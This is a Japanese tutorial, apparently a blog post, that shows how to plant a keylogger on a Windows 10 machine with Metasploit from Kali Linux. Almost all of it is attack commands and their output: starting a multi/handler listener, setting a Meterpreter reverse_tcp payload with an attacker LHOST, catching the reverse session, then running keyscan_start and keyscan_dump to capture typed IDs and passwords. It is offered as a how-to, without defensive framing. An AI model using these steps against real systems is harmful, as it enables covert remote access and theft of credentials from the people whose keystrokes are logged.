Metasploiterを使用してWindows10にキーロガーを仕込む方法です。
前提として、リバースシェルを実行してWindowsとのセッションを確立している必要があります。
msfconsoleを起動する
┌──(root㉿kali)-[/home/kali] └─# msfconsole
exploitモジュールを指定する
exploit/multi/handler
というexploitモジュールを指定します。
このモジュールは、こちらから攻撃対象のシェルを提供するポートに接続したり、逆にリバースシェルによるセッションの確率を待ち受けたりする際に利用するモジュールのようです。
msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp
payloadを指定
リバースシェルのpayloadをセットします。
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp
LHOST を指定
LHOST にて攻撃端末(Kali Linux)のIPアドレスを設定します。
msf6 exploit(multi/handler) > set LHOST 192.168.28.3 LHOST => 192.168.28.3 ###exploitのを実行してを指定してリバースシェルを待ち受ける msf6 exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.28.3:4444
セッションの確立を確認
Windows側でリバースシェルが実行されたら下記のように、
Meterpreter session 1 opened (192.168.28.3:4444 -> 192.168.28.6:49811) at 2023-06-24 13:07:40 +0900
と表示されます。
セッションが確立されたのでキーロガーの準備が整いました。
[*] Sending stage (200774 bytes) to 192.168.28.6 [*] Meterpreter session 1 opened (192.168.28.3:4444 -> 192.168.28.6:49811) at 2023-06-24 13:07:40 +0900 meterpreter >
keyscan_startコマンドでキーロガーを起動する
keyscan_startコマンドを実行するとキーロガーが起動して、Windowsのキー入力のログを取得するようになります。
meterpreter > keyscan_start Starting the keystroke sniffer ...
メモ帳などにIDやパスワードなどを入力
keyscan_dumpコマンドで取得した文字列をdumpする
キーロガー取得したログはkeyscan_dumpコマンドで確認することが出来ます。 タイプミスなども全てログに残っています。
※<CR>は改行、<^H>はバックスペースを表している様です。
meterpreter > keyscan_dump Dumping captured keystrokes... <^H>pass<^H><^H><^H><^H><半角/全角>pass:123456<CR> <Up><CR> <Up>id:usarname<Down><CR> <CR> <Up><Up><Up><CR> <Up><CR> <Up>memo<Down><Down><Down><Down><CR> <CR> iod<^H><^H>d:]<^H>username2<CR> pass;<^H>:1234578<CR> <CR> id:username3<CR> pass:1325457
keyscan_dumpコマンドによりキーの入力履歴が全て確認出来た。
keyscan_stopコマンドでキーロガーを終了する
keyscan_stopコマンドを実行する事で終了します。
meterpreter > keyscan_stop Stopping the keystroke sniffer...
まとめ
Metasploiterを使用した簡易的なキーロガーの実装方法でした。 本格的にキーロガーを仕込む際はキーロガー専用のアプリを仕込むなど別のアプローチが必要になってくるかと思います。